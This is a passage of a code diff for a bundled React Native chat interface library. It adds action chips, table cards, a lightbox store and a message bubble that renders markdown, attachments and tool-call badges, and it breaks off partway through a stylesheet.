// src/chat/UIActionsRow.tsx
|
|
885
|
+
import { jsx as jsx6, jsxs as jsxs4 } from "react/jsx-runtime";
|
|
886
|
+
var fontFam = Platform2.OS === "ios" ? "SF Pro Rounded" : void 0;
|
|
887
|
+
var ICON_MAP = {
|
|
888
|
+
timer: "\u23F1",
|
|
889
|
+
memory: "\u{1F9E0}",
|
|
890
|
+
calendar: "\u{1F4C5}",
|
|
891
|
+
home: "\u{1F3E0}",
|
|
892
|
+
bell: "\u{1F514}",
|
|
893
|
+
star: "\u2B50",
|
|
894
|
+
bolt: "\u26A1"
|
|
895
|
+
};
|
|
896
|
+
function UIActionsRow({ actions }) {
|
|
897
|
+
if (!Array.isArray(actions) || actions.length === 0) return null;
|
|
898
|
+
const handlePress = (a) => {
|
|
899
|
+
getHaptics()?.selection();
|
|
900
|
+
const id = a.pluginId || a.target;
|
|
901
|
+
if (!id) return;
|
|
902
|
+
const focus = a.payload?.id || a.payload?.entity_id || a.payload?.focusId;
|
|
903
|
+
const surface = useSurfaceStore2.getState().manifests[id];
|
|
904
|
+
if (surface) {
|
|
905
|
+
useSurfaceStore2.getState().show(id, focus ? { focus } : void 0);
|
|
906
|
+
return;
|
|
907
|
+
}
|
|
908
|
+
const params = {};
|
|
909
|
+
if (focus) params.focus = String(focus);
|
|
910
|
+
if (a.intent === "suggested_action" && a.payload?.tool) {
|
|
911
|
+
params.tool = String(a.payload.tool);
|
|
912
|
+
if (a.payload?.args) {
|
|
913
|
+
try {
|
|
914
|
+
params.args = JSON.stringify(a.payload.args);
|
|
915
|
+
} catch {
|
|
859
916
|
}
|
|
860
917
|
}
|
|
861
|
-
|
|
862
|
-
|
|
863
|
-
|
|
918
|
+
}
|
|
919
|
+
if (a.intent === "quick_toggle" && a.payload?.verb) {
|
|
920
|
+
params.verb = String(a.payload.verb);
|
|
921
|
+
}
|
|
922
|
+
const navigate = getUIActionNavigator();
|
|
923
|
+
if (navigate) {
|
|
924
|
+
navigate({ pluginId: id, params });
|
|
925
|
+
return;
|
|
926
|
+
}
|
|
927
|
+
openWidget(id, Object.keys(params).length ? params : void 0);
|
|
928
|
+
};
|
|
929
|
+
return /* @__PURE__ */ jsx6(View5, { style: styles4.row, children: actions.map((a, i) => {
|
|
930
|
+
const icon = a.icon ? ICON_MAP[a.icon.toLowerCase()] : null;
|
|
931
|
+
return /* @__PURE__ */ jsxs4(
|
|
932
|
+
Pressable2,
|
|
864
933
|
{
|
|
865
|
-
|
|
866
|
-
|
|
867
|
-
|
|
868
|
-
|
|
869
|
-
|
|
870
|
-
/* @__PURE__ */ jsx6(
|
|
871
|
-
|
|
872
|
-
|
|
873
|
-
|
|
874
|
-
|
|
934
|
+
accessibilityRole: "button",
|
|
935
|
+
accessibilityLabel: a.description || a.label,
|
|
936
|
+
onPress: () => handlePress(a),
|
|
937
|
+
style: ({ pressed }) => [styles4.chip, pressed && styles4.chipPressed],
|
|
938
|
+
children: [
|
|
939
|
+
icon ? /* @__PURE__ */ jsx6(Text4, { style: styles4.icon, children: icon }) : null,
|
|
940
|
+
/* @__PURE__ */ jsx6(Text4, { style: styles4.label, numberOfLines: 1, children: a.label })
|
|
941
|
+
]
|
|
942
|
+
},
|
|
943
|
+
`${a.target || "a"}-${i}`
|
|
944
|
+
);
|
|
945
|
+
}) });
|
|
875
946
|
}
|
|
876
|
-
var
|
|
877
|
-
|
|
878
|
-
|
|
879
|
-
|
|
880
|
-
|
|
881
|
-
|
|
882
|
-
borderTopColor: colors.light.border
|
|
947
|
+
var styles4 = StyleSheet4.create({
|
|
948
|
+
row: {
|
|
949
|
+
flexDirection: "row",
|
|
950
|
+
flexWrap: "wrap",
|
|
951
|
+
gap: 6,
|
|
952
|
+
marginTop: 10
|
|
883
953
|
},
|
|
884
|
-
|
|
954
|
+
chip: {
|
|
885
955
|
flexDirection: "row",
|
|
886
|
-
alignItems: "
|
|
887
|
-
|
|
888
|
-
|
|
956
|
+
alignItems: "center",
|
|
957
|
+
gap: 6,
|
|
958
|
+
paddingHorizontal: 12,
|
|
959
|
+
paddingVertical: 6,
|
|
960
|
+
backgroundColor: ada4.orangeSoft,
|
|
961
|
+
borderColor: ada4.orange,
|
|
889
962
|
borderWidth: 1,
|
|
890
|
-
|
|
891
|
-
paddingHorizontal: 4,
|
|
892
|
-
paddingVertical: 4,
|
|
893
|
-
gap: 4
|
|
894
|
-
},
|
|
895
|
-
callBtn: {
|
|
896
|
-
width: 36,
|
|
897
|
-
height: 36,
|
|
898
|
-
borderRadius: 18,
|
|
899
|
-
justifyContent: "center",
|
|
900
|
-
alignItems: "center"
|
|
963
|
+
borderRadius: 14
|
|
901
964
|
},
|
|
902
|
-
|
|
903
|
-
|
|
904
|
-
fontSize: 16,
|
|
905
|
-
color: colors.light.textPrimary,
|
|
906
|
-
paddingHorizontal: 8,
|
|
907
|
-
paddingVertical: 8,
|
|
908
|
-
maxHeight: 120
|
|
965
|
+
chipPressed: {
|
|
966
|
+
backgroundColor: ada4.orange
|
|
909
967
|
},
|
|
910
|
-
|
|
911
|
-
|
|
912
|
-
|
|
913
|
-
borderRadius: 18,
|
|
914
|
-
justifyContent: "center",
|
|
915
|
-
alignItems: "center",
|
|
916
|
-
backgroundColor: colors.light.bgTertiary
|
|
968
|
+
icon: {
|
|
969
|
+
fontSize: 12,
|
|
970
|
+
lineHeight: 14
|
|
917
971
|
},
|
|
918
|
-
|
|
919
|
-
|
|
972
|
+
label: {
|
|
973
|
+
color: ada4.orangeDeep,
|
|
974
|
+
fontSize: fontSize2.xs,
|
|
975
|
+
fontWeight: "600",
|
|
976
|
+
fontFamily: fontFam
|
|
920
977
|
}
|
|
921
978
|
});
|
|
922
979
|
|
|
923
|
-
// src/
|
|
924
|
-
import {
|
|
925
|
-
import {
|
|
926
|
-
import { jsx as jsx7, jsxs as
|
|
927
|
-
|
|
928
|
-
|
|
929
|
-
|
|
930
|
-
|
|
931
|
-
return /* @__PURE__ */ jsx7(
|
|
932
|
-
|
|
933
|
-
|
|
934
|
-
|
|
935
|
-
|
|
936
|
-
|
|
937
|
-
|
|
938
|
-
|
|
939
|
-
|
|
940
|
-
|
|
941
|
-
|
|
942
|
-
|
|
943
|
-
}
|
|
944
|
-
)
|
|
945
|
-
|
|
946
|
-
] }) });
|
|
980
|
+
// src/chat/TableCardBlock.tsx
|
|
981
|
+
import { View as View6, Text as Text5, StyleSheet as StyleSheet5, Platform as Platform3 } from "react-native";
|
|
982
|
+
import { ada as ada5, borderRadius as borderRadius2, fontSize as fontSize3, spacing } from "@ateam-ai-mobile/core";
|
|
983
|
+
import { jsx as jsx7, jsxs as jsxs5 } from "react/jsx-runtime";
|
|
984
|
+
var fontFam2 = Platform3.OS === "ios" ? "SF Pro Rounded" : void 0;
|
|
985
|
+
function TableCardBlock({ columns, rows }) {
|
|
986
|
+
if (!columns?.length || !rows?.length) return null;
|
|
987
|
+
const [titleCol, ...detailCols] = columns;
|
|
988
|
+
return /* @__PURE__ */ jsx7(View6, { style: styles5.wrap, children: rows.map((row, i) => {
|
|
989
|
+
const cells = Array.isArray(row) ? row : [row];
|
|
990
|
+
const title = cells[0];
|
|
991
|
+
return /* @__PURE__ */ jsxs5(View6, { style: styles5.card, children: [
|
|
992
|
+
/* @__PURE__ */ jsx7(Text5, { style: styles5.title, children: String(title ?? "") }),
|
|
993
|
+
detailCols.length > 0 && /* @__PURE__ */ jsx7(View6, { style: styles5.details, children: detailCols.map((col, ci) => {
|
|
994
|
+
const value = cells[ci + 1];
|
|
995
|
+
if (value == null || value === "") return null;
|
|
996
|
+
return /* @__PURE__ */ jsxs5(View6, { style: styles5.row, children: [
|
|
997
|
+
/* @__PURE__ */ jsx7(Text5, { style: styles5.label, children: String(col) }),
|
|
998
|
+
/* @__PURE__ */ jsx7(Text5, { style: styles5.value, children: String(value) })
|
|
999
|
+
] }, ci);
|
|
1000
|
+
}) })
|
|
1001
|
+
] }, i);
|
|
1002
|
+
}) });
|
|
947
1003
|
}
|
|
948
|
-
var
|
|
949
|
-
|
|
950
|
-
|
|
951
|
-
|
|
952
|
-
justifyContent: "center"
|
|
1004
|
+
var styles5 = StyleSheet5.create({
|
|
1005
|
+
wrap: {
|
|
1006
|
+
marginVertical: 6,
|
|
1007
|
+
gap: 8
|
|
953
1008
|
},
|
|
954
|
-
|
|
955
|
-
|
|
956
|
-
|
|
1009
|
+
card: {
|
|
1010
|
+
backgroundColor: ada5.paper,
|
|
1011
|
+
borderRadius: borderRadius2.md,
|
|
1012
|
+
borderWidth: 1,
|
|
1013
|
+
borderColor: ada5.border,
|
|
1014
|
+
padding: spacing.md
|
|
957
1015
|
},
|
|
958
|
-
|
|
959
|
-
|
|
960
|
-
|
|
961
|
-
|
|
1016
|
+
title: {
|
|
1017
|
+
color: ada5.ink,
|
|
1018
|
+
fontSize: fontSize3.md,
|
|
1019
|
+
fontWeight: "600",
|
|
1020
|
+
fontFamily: fontFam2,
|
|
1021
|
+
letterSpacing: -0.2,
|
|
1022
|
+
marginBottom: 6
|
|
962
1023
|
},
|
|
963
|
-
|
|
964
|
-
|
|
965
|
-
|
|
1024
|
+
details: {
|
|
1025
|
+
gap: 4
|
|
1026
|
+
},
|
|
1027
|
+
row: {
|
|
1028
|
+
flexDirection: "row",
|
|
1029
|
+
alignItems: "flex-start",
|
|
1030
|
+
gap: 8
|
|
1031
|
+
},
|
|
1032
|
+
label: {
|
|
1033
|
+
color: ada5.inkMuted,
|
|
1034
|
+
fontSize: fontSize3.xs,
|
|
1035
|
+
fontFamily: fontFam2,
|
|
1036
|
+
fontWeight: "500",
|
|
1037
|
+
width: 84,
|
|
1038
|
+
textTransform: "uppercase",
|
|
1039
|
+
letterSpacing: 0.6,
|
|
1040
|
+
paddingTop: 2
|
|
1041
|
+
},
|
|
1042
|
+
value: {
|
|
1043
|
+
flex: 1,
|
|
1044
|
+
color: ada5.inkSoft,
|
|
1045
|
+
fontSize: fontSize3.sm,
|
|
1046
|
+
fontFamily: fontFam2,
|
|
1047
|
+
lineHeight: 18
|
|
966
1048
|
}
|
|
967
1049
|
});
|
|
968
1050
|
|
|
969
|
-
// src/
|
|
970
|
-
import {
|
|
971
|
-
|
|
1051
|
+
// src/stores/lightboxStore.ts
|
|
1052
|
+
import { create as create2 } from "zustand";
|
|
1053
|
+
var useLightboxStore = create2((set) => ({
|
|
1054
|
+
uri: null,
|
|
1055
|
+
show: (uri) => set({ uri }),
|
|
1056
|
+
hide: () => set({ uri: null })
|
|
1057
|
+
}));
|
|
1058
|
+
|
|
1059
|
+
// src/chat/MessageBubble.tsx
|
|
1060
|
+
import { Fragment, jsx as jsx8, jsxs as jsxs6 } from "react/jsx-runtime";
|
|
1061
|
+
var fontFam3 = Platform4.OS === "ios" ? "SF Pro Rounded" : void 0;
|
|
1062
|
+
function formatTime(date) {
|
|
1063
|
+
const h = date.getHours();
|
|
1064
|
+
const m = date.getMinutes().toString().padStart(2, "0");
|
|
1065
|
+
return `${h}:${m}`;
|
|
1066
|
+
}
|
|
1067
|
+
function DaySeparator({ date }) {
|
|
1068
|
+
const today = /* @__PURE__ */ new Date();
|
|
1069
|
+
const yesterday = new Date(today);
|
|
1070
|
+
yesterday.setDate(yesterday.getDate() - 1);
|
|
1071
|
+
let label;
|
|
1072
|
+
if (isSameDay(date, today)) {
|
|
1073
|
+
label = "Today";
|
|
1074
|
+
} else if (isSameDay(date, yesterday)) {
|
|
1075
|
+
label = "Yesterday";
|
|
1076
|
+
} else {
|
|
1077
|
+
label = date.toLocaleDateString(void 0, { weekday: "long", month: "short", day: "numeric" });
|
|
1078
|
+
}
|
|
1079
|
+
return /* @__PURE__ */ jsx8(View7, { style: separatorStyles.container, children: /* @__PURE__ */ jsx8(View7, { style: separatorStyles.pill, children: /* @__PURE__ */ jsx8(Text6, { style: separatorStyles.text, children: label }) }) });
|
|
1080
|
+
}
|
|
1081
|
+
function isSameDay(a, b) {
|
|
972
1082
|
return a.getFullYear() === b.getFullYear() && a.getMonth() === b.getMonth() && a.getDate() === b.getDate();
|
|
973
1083
|
}
|
|
974
|
-
|
|
975
|
-
|
|
976
|
-
|
|
977
|
-
|
|
978
|
-
|
|
979
|
-
|
|
980
|
-
|
|
981
|
-
|
|
982
|
-
|
|
983
|
-
|
|
984
|
-
|
|
985
|
-
|
|
986
|
-
|
|
987
|
-
|
|
988
|
-
|
|
989
|
-
|
|
990
|
-
|
|
991
|
-
|
|
992
|
-
|
|
993
|
-
|
|
994
|
-
|
|
995
|
-
|
|
996
|
-
|
|
997
|
-
const
|
|
998
|
-
const
|
|
999
|
-
()
|
|
1000
|
-
|
|
1001
|
-
|
|
1002
|
-
|
|
1003
|
-
|
|
1004
|
-
|
|
1005
|
-
|
|
1006
|
-
|
|
1007
|
-
|
|
1008
|
-
|
|
1009
|
-
|
|
1010
|
-
|
|
1011
|
-
|
|
1012
|
-
|
|
1084
|
+
var separatorStyles = StyleSheet6.create({
|
|
1085
|
+
container: {
|
|
1086
|
+
alignItems: "center",
|
|
1087
|
+
marginVertical: 14
|
|
1088
|
+
},
|
|
1089
|
+
pill: {
|
|
1090
|
+
backgroundColor: ada6.paperSoft,
|
|
1091
|
+
paddingHorizontal: 14,
|
|
1092
|
+
paddingVertical: 5,
|
|
1093
|
+
borderRadius: 999
|
|
1094
|
+
},
|
|
1095
|
+
text: {
|
|
1096
|
+
fontSize: 12,
|
|
1097
|
+
fontWeight: "600",
|
|
1098
|
+
color: ada6.inkMuted,
|
|
1099
|
+
letterSpacing: 0.4,
|
|
1100
|
+
fontFamily: fontFam3
|
|
1101
|
+
}
|
|
1102
|
+
});
|
|
1103
|
+
function MessageBubble({ message }) {
|
|
1104
|
+
const isUser = message.role === "user";
|
|
1105
|
+
const isSystem = message.role === "system";
|
|
1106
|
+
const isNotification = !isUser && message.kind === "notification";
|
|
1107
|
+
const [copied, setCopied] = useState4("");
|
|
1108
|
+
const showCopied = useCallback3((label) => {
|
|
1109
|
+
setCopied(label);
|
|
1110
|
+
getHaptics2()?.notification("success");
|
|
1111
|
+
setTimeout(() => setCopied(""), 1500);
|
|
1112
|
+
}, []);
|
|
1113
|
+
const copyText = useCallback3(async (text) => {
|
|
1114
|
+
const clipboard = getClipboard();
|
|
1115
|
+
if (!clipboard) return;
|
|
1116
|
+
await clipboard.setString(text);
|
|
1117
|
+
showCopied("Copied!");
|
|
1118
|
+
}, [showCopied]);
|
|
1119
|
+
const handleLongPress = useCallback3(() => {
|
|
1120
|
+
copyText(message.content);
|
|
1121
|
+
}, [message.content, copyText]);
|
|
1122
|
+
return /* @__PURE__ */ jsxs6(View7, { style: [styles6.row, isUser && styles6.rowUser], children: [
|
|
1123
|
+
!isUser && !isNotification && /* @__PURE__ */ jsx8(View7, { style: styles6.avatarOrb, children: /* @__PURE__ */ jsx8(
|
|
1124
|
+
AdaOrb,
|
|
1125
|
+
{
|
|
1126
|
+
size: 28,
|
|
1127
|
+
state: message.jobProgress?.status === "running" ? "thinking" : "idle"
|
|
1128
|
+
}
|
|
1129
|
+
) }),
|
|
1130
|
+
isNotification && /* @__PURE__ */ jsx8(View7, { style: styles6.notificationLeftStripe }),
|
|
1131
|
+
/* @__PURE__ */ jsxs6(
|
|
1132
|
+
Pressable3,
|
|
1133
|
+
{
|
|
1134
|
+
accessibilityRole: "text",
|
|
1135
|
+
accessibilityLabel: `${isUser ? "You" : isNotification ? "Notification" : "Ada"}: ${message.content}`,
|
|
1136
|
+
accessibilityHint: "Long-press to copy",
|
|
1137
|
+
onLongPress: handleLongPress,
|
|
1138
|
+
style: [
|
|
1139
|
+
styles6.bubble,
|
|
1140
|
+
isUser && styles6.bubbleUser,
|
|
1141
|
+
isSystem && styles6.bubbleSystem,
|
|
1142
|
+
isNotification && styles6.bubbleNotification
|
|
1143
|
+
],
|
|
1144
|
+
children: [
|
|
1145
|
+
isNotification && /* @__PURE__ */ jsxs6(View7, { style: styles6.notificationHeader, children: [
|
|
1146
|
+
/* @__PURE__ */ jsx8(Text6, { style: styles6.notificationHeaderIcon, children: "\u{1F514}" }),
|
|
1147
|
+
/* @__PURE__ */ jsx8(Text6, { style: styles6.notificationHeaderText, children: "Notification" })
|
|
1148
|
+
] }),
|
|
1149
|
+
message.attachments && message.attachments.length > 0 && /* @__PURE__ */ jsx8(View7, { style: styles6.attachments, children: message.attachments.map((att, i) => att.previewUri ? /* @__PURE__ */ jsx8(
|
|
1150
|
+
Pressable3,
|
|
1151
|
+
{
|
|
1152
|
+
accessibilityRole: "imagebutton",
|
|
1153
|
+
accessibilityLabel: `Photo${att.name ? `: ${att.name}` : ""}. Tap to enlarge.`,
|
|
1154
|
+
onPress: () => useLightboxStore.getState().show(att.previewUri),
|
|
1155
|
+
children: /* @__PURE__ */ jsx8(
|
|
1156
|
+
Image,
|
|
1157
|
+
{
|
|
1158
|
+
source: {
|
|
1159
|
+
uri: att.previewUri,
|
|
1160
|
+
...att.previewUri.startsWith("http") ? {
|
|
1161
|
+
headers: { Authorization: `Bearer ${getConfig2().tokenProvider.getToken()}` }
|
|
1162
|
+
} : {}
|
|
1163
|
+
},
|
|
1164
|
+
style: styles6.attachmentImage,
|
|
1165
|
+
resizeMode: "cover",
|
|
1166
|
+
onError: (e) => console.warn("[Image] Failed to load:", att.previewUri?.slice(0, 100), e.nativeEvent.error)
|
|
1167
|
+
}
|
|
1168
|
+
)
|
|
1169
|
+
},
|
|
1170
|
+
i
|
|
1171
|
+
) : /* @__PURE__ */ jsx8(View7, { style: styles6.attachmentFile, children: /* @__PURE__ */ jsx8(Text6, { style: styles6.attachmentFileName, numberOfLines: 1, children: att.name }) }, i)) }),
|
|
1172
|
+
isUser ? (
|
|
1173
|
+
// Hide the "See attachment" placeholder when the bubble already shows the photo.
|
|
1174
|
+
message.content && !(message.content === "See attachment" && message.attachments?.length) ? /* @__PURE__ */ jsx8(Text6, { selectable: true, style: styles6.userText, children: message.content }) : null
|
|
1175
|
+
) : renderAssistantContent(message.content, copyText),
|
|
1176
|
+
!!copied && /* @__PURE__ */ jsx8(View7, { style: styles6.copiedBadge, children: /* @__PURE__ */ jsx8(Text6, { style: styles6.copiedText, children: copied }) }),
|
|
1177
|
+
message.toolCalls && message.toolCalls.length > 0 && /* @__PURE__ */ jsx8(ToolCallsBadge, { calls: message.toolCalls }),
|
|
1178
|
+
message.jobProgress && /* @__PURE__ */ jsx8(JobProgressBar, { progress: message.jobProgress }),
|
|
1179
|
+
!isUser && message.actions && message.actions.length > 0 && /* @__PURE__ */ jsx8(UIActionsRow, { actions: message.actions }),
|
|
1180
|
+
/* @__PURE__ */ jsx8(Text6, { style: [styles6.timeText, isUser && styles6.timeTextUser], children: formatTime(message.timestamp) })
|
|
1181
|
+
]
|
|
1182
|
+
}
|
|
1183
|
+
),
|
|
1184
|
+
isUser && /* @__PURE__ */ jsx8(View7, { style: styles6.avatarSpacer })
|
|
1185
|
+
] });
|
|
1186
|
+
}
|
|
1187
|
+
function renderAssistantContent(content, copyText) {
|
|
1188
|
+
if (!content) return null;
|
|
1189
|
+
if (!content.includes(TABLE_BLOCK_OPEN)) {
|
|
1190
|
+
return /* @__PURE__ */ jsx8(MarkdownBubble, { content, copyText });
|
|
1191
|
+
}
|
|
1192
|
+
const segments = [];
|
|
1193
|
+
let cursor = 0;
|
|
1194
|
+
while (cursor < content.length) {
|
|
1195
|
+
const open = content.indexOf(TABLE_BLOCK_OPEN, cursor);
|
|
1196
|
+
if (open === -1) {
|
|
1197
|
+
segments.push({ kind: "md", content: content.slice(cursor) });
|
|
1198
|
+
break;
|
|
1199
|
+
}
|
|
1200
|
+
if (open > cursor) {
|
|
1201
|
+
segments.push({ kind: "md", content: content.slice(cursor, open) });
|
|
1202
|
+
}
|
|
1203
|
+
const close = content.indexOf(TABLE_BLOCK_CLOSE, open + TABLE_BLOCK_OPEN.length);
|
|
1204
|
+
if (close === -1) {
|
|
1205
|
+
segments.push({ kind: "md", content: content.slice(open) });
|
|
1206
|
+
break;
|
|
1207
|
+
}
|
|
1208
|
+
const payload = content.slice(open + TABLE_BLOCK_OPEN.length, close);
|
|
1209
|
+
segments.push({ kind: "table", content: payload });
|
|
1210
|
+
cursor = close + TABLE_BLOCK_CLOSE.length;
|
|
1211
|
+
}
|
|
1212
|
+
return /* @__PURE__ */ jsx8(Fragment, { children: segments.map((seg, i) => {
|
|
1213
|
+
if (seg.kind === "md") {
|
|
1214
|
+
const trimmed = seg.content.trim();
|
|
1215
|
+
if (!trimmed) return null;
|
|
1216
|
+
return /* @__PURE__ */ jsx8(MarkdownBubble, { content: seg.content, copyText }, i);
|
|
1217
|
+
}
|
|
1013
1218
|
try {
|
|
1014
|
-
|
|
1219
|
+
const data = JSON.parse(decodeURIComponent(seg.content));
|
|
1220
|
+
return /* @__PURE__ */ jsx8(TableCardBlock, { columns: data.columns, rows: data.rows }, i);
|
|
1015
1221
|
} catch {
|
|
1222
|
+
return null;
|
|
1016
1223
|
}
|
|
1017
|
-
|
|
1018
|
-
|
|
1019
|
-
|
|
1020
|
-
|
|
1021
|
-
|
|
1022
|
-
return /* @__PURE__ */ jsxs7(View8, { children: [
|
|
1023
|
-
showDaySep && /* @__PURE__ */ jsx8(DaySeparator, { date: item.timestamp }),
|
|
1024
|
-
/* @__PURE__ */ jsx8(MessageBubble, { message: item })
|
|
1025
|
-
] });
|
|
1026
|
-
}, [listData, useInverted]);
|
|
1027
|
-
const typingIndicator = loading && !(useInverted ? listData[0] : listData[listData.length - 1])?.jobProgress ? /* @__PURE__ */ jsx8(TypingIndicator, {}) : null;
|
|
1028
|
-
return /* @__PURE__ */ jsxs7(
|
|
1029
|
-
KeyboardAvoidingView,
|
|
1224
|
+
}) });
|
|
1225
|
+
}
|
|
1226
|
+
function MarkdownBubble({ content, copyText }) {
|
|
1227
|
+
return /* @__PURE__ */ jsx8(
|
|
1228
|
+
Markdown,
|
|
1030
1229
|
{
|
|
1031
|
-
style:
|
|
1032
|
-
|
|
1033
|
-
|
|
1034
|
-
|
|
1035
|
-
FlatList,
|
|
1230
|
+
style: markdownStyles,
|
|
1231
|
+
rules: {
|
|
1232
|
+
code_inline: (node) => /* @__PURE__ */ jsx8(
|
|
1233
|
+
Text6,
|
|
1036
1234
|
{
|
|
1037
|
-
|
|
1038
|
-
|
|
1039
|
-
|
|
1040
|
-
|
|
1041
|
-
|
|
1042
|
-
renderItem,
|
|
1043
|
-
ListHeaderComponent: useInverted ? typingIndicator : null,
|
|
1044
|
-
ListFooterComponent: useInverted ? null : typingIndicator,
|
|
1045
|
-
onContentSizeChange: useInverted ? void 0 : () => scrollToLatest(false),
|
|
1046
|
-
refreshControl: /* @__PURE__ */ jsx8(RefreshControl, { refreshing, onRefresh: handleRefresh, tintColor: ada5.orange }),
|
|
1047
|
-
keyboardShouldPersistTaps: "handled",
|
|
1048
|
-
contentContainerStyle: styles8.listContent
|
|
1049
|
-
}
|
|
1235
|
+
style: markdownStyles.code_inline,
|
|
1236
|
+
onPress: () => copyText(node.content),
|
|
1237
|
+
children: node.content
|
|
1238
|
+
},
|
|
1239
|
+
node.key
|
|
1050
1240
|
),
|
|
1051
|
-
|
|
1052
|
-
|
|
1053
|
-
ChatInput,
|
|
1241
|
+
fence: (node) => /* @__PURE__ */ jsx8(
|
|
1242
|
+
Pressable3,
|
|
1054
1243
|
{
|
|
1055
|
-
|
|
1056
|
-
|
|
1057
|
-
|
|
1058
|
-
|
|
1059
|
-
|
|
1060
|
-
|
|
1061
|
-
|
|
1062
|
-
|
|
1063
|
-
]
|
|
1244
|
+
onPress: () => copyText(node.content),
|
|
1245
|
+
style: markdownStyles.fence,
|
|
1246
|
+
children: /* @__PURE__ */ jsx8(Text6, { style: markdownStyles.fenceText, children: node.content })
|
|
1247
|
+
},
|
|
1248
|
+
node.key
|
|
1249
|
+
)
|
|
1250
|
+
},
|
|
1251
|
+
children: content
|
|
1064
1252
|
}
|
|
1065
1253
|
);
|
|
1066
1254
|
}
|
|
1067
|
-
|
|
1068
|
-
|
|
1069
|
-
|
|
1070
|
-
|
|
1255
|
+
function ToolCallsBadge({ calls }) {
|
|
1256
|
+
const [expanded, setExpanded] = useState4(false);
|
|
1257
|
+
const label = calls.filter((c) => c.name === "send_message_to_skill").map((c) => c.args.skill_name || c.skill).filter(Boolean).join(", ") || "Tool call";
|
|
1258
|
+
return /* @__PURE__ */ jsxs6(View7, { style: styles6.toolCalls, children: [
|
|
1259
|
+
/* @__PURE__ */ jsxs6(Pressable3, { style: styles6.toolToggle, onPress: () => setExpanded(!expanded), children: [
|
|
1260
|
+
/* @__PURE__ */ jsx8(Text6, { style: styles6.toolLabel, children: label }),
|
|
1261
|
+
/* @__PURE__ */ jsx8(Text6, { style: styles6.toolChevron, children: expanded ? "\u25B2" : "\u25BC" })
|
|
1262
|
+
] }),
|
|
1263
|
+
expanded && calls.map((tc, i) => /* @__PURE__ */ jsxs6(View7, { style: styles6.toolItem, children: [
|
|
1264
|
+
/* @__PURE__ */ jsx8(Text6, { style: styles6.toolName, children: tc.name }),
|
|
1265
|
+
tc.skill && /* @__PURE__ */ jsx8(Text6, { style: styles6.toolSkill, children: tc.skill })
|
|
1266
|
+
] }, i))
|
|
1267
|
+
] });
|
|
1268
|
+
}
|
|
1269
|
+
var styles6 = StyleSheet6.create({
|
|
1270
|
+
row: {
|
|
1271
|
+
flexDirection: "row",
|
|
1272
|
+
alignItems: "flex-end",
|
|
1273
|
+
marginBottom: 12,
|
|
1274
|
+
paddingHorizontal: 12,
|
|
1275
|
+
gap: 8
|
|
1071
1276
|
},
|
|
1072
|
-
|
|
1073
|
-
|
|
1277
|
+
rowUser: {
|
|
1278
|
+
justifyContent: "flex-end"
|
|
1074
1279
|
},
|
|
1075
|
-
|
|
1280
|
+
avatarOrb: {
|
|
1281
|
+
width: 28,
|
|
1282
|
+
height: 28,
|
|
1283
|
+
justifyContent: "center",
|
|
1284
|
+
alignItems: "center"
|
|
1285
|
+
},
|
|
1286
|
+
avatarSpacer: {
|
|
1287
|
+
width: 28,
|
|
1288
|
+
height: 28
|
|
1289
|
+
},
|
|
1290
|
+
bubble: {
|
|
1291
|
+
maxWidth: "78%",
|
|
1292
|
+
backgroundColor: ada6.botBubble,
|
|
1293
|
+
borderWidth: 1,
|
|
1294
|
+
borderColor: ada6.botBubbleBorder,
|
|
1295
|
+
borderRadius: borderRadius3.xl,
|
|
1296
|
+
paddingHorizontal: 16,
|
|
1076
1297
|
paddingVertical: 12
|
|
1298
|
+
},
|
|
1299
|
+
bubbleUser: {
|
|
1300
|
+
backgroundColor: ada6.userBubble,
|
|
1301
|
+
borderColor: "transparent"
|
|
1302
|
+
},
|
|
1303
|
+
bubbleSystem: {
|
|
1304
|
+
backgroundColor: ada6.orangeSoft,
|
|
1305
|
+
borderColor: ada6.orange,
|
|
1306
|
+
maxWidth: "90%"
|
|
1307
|
+
},
|
|
1308
|
+
bubbleNotification: {
|
|
1309
|
+
backgroundColor: ada6.orangeSoft,
|
|
1310
|
+
borderColor: "rgba(255, 122, 40, 0.35)",
|
|
1311
|
+
borderRadius: borderRadius3.lg,
|
|
1312
|
+
maxWidth: "90%"
|
|
1313
|
+
},
|
|
1314
|
+
notificationLeftStripe: {
|
|
1315
|
+
width: 3,
|
|
1316
|
+
alignSelf: "stretch",
|
|
1317
|
+
backgroundColor: ada6.orange,
|
|
1318
|
+
borderRadius: 2,
|
|
1319
|
+
marginRight: 4
|
|
1320
|
+
},
|
|
1321
|
+
notificationHeader: {
|
|
1322
|
+
flexDirection: "row",
|
|
1323
|
+
alignItems: "center",
|
|
1324
|
+
gap: 6,
|
|
1325
|
+
marginBottom: 6
|
|
1326
|
+
},
|
|
1327
|
+
notificationHeaderIcon: {
|
|
1328
|
+
fontSize: 12
|
|
1329
|
+
},
|
|
1330
|
+
notificationHeaderText: {
|
|
1331
|
+
color: ada6.orangeDeep,
|
|
1332
|
+
fontSize: 11,
|
|
1333
|
+
fontWeight: "700",
|
|
1334
|
+
letterSpacing: 0.6,
|
|
1335
|
+
textTransform: "uppercase",
|
|
1336
|
+
fontFamily: fontFam3
|
|
1337
|
+
},
|
|
1338
|
+
userText: {
|
|
1339
|
+
color: ada6.userBubbleText,
|
|
1340
|
+
fontSize: fontSize4.md,
|
|
1341
|
+
lineHeight: 22,
|
|
1342
|
+
fontFamily: fontFam3
|
|
1343
|
+
},
|
|
1344
|
+
timeText: {
|
|
1345
|
+
fontSize: 11,
|
|
1346
|
+
color: ada6.inkMuted,
|
|
1347
|
+
alignSelf: "flex-end",
|
|
1348
|
+
marginTop: 4,
|
|
1349
|
+
fontFamily: fontFam3
|
|
1350
|
+
},
|
|
1351
|
+
timeTextUser: {
|
|
1352
|
+
color: "rgba(250,246,238,0.55)"
|
|
1353
|
+
},
|
|
1354
|
+
attachments: {
|
|
1355
|
+
flexDirection: "row",
|
|
1356
|
+
flexWrap: "wrap",
|
|
1357
|
+
gap: 6,
|
|
1358
|
+
marginBottom: 8
|
|
1359
|
+
},
|
|
1360
|
+
attachmentImage: {
|
|
1361
|
+
width: 120,
|
|
1362
|
+
height: 90,
|
|
1363
|
+
borderRadius: 8
|
|
1364
|
+
},
|
|
1365
|
+
attachmentFile: {
|
|
1366
|
+
backgroundColor: "rgba(255,255,255,0.15)",
|
|
1367
|
+
borderRadius: 8,
|
|
1368
|
+
paddingHorizontal: 10,
|
|
1369
|
+
paddingVertical: 6
|
|
1370
|
+
},
|
|
1371
|
+
attachmentFileName: {
|
|
1372
|
+
color: "rgba(255,255,255,0.8)",
|
|
1373
|
+
fontSize: 11,
|
|
1374
|
+
maxWidth: 100
|
|
1375
|
+
},
|
|
1376
|
+
copiedBadge: {
|
|
1377
|
+
position: "absolute",
|
|
1378
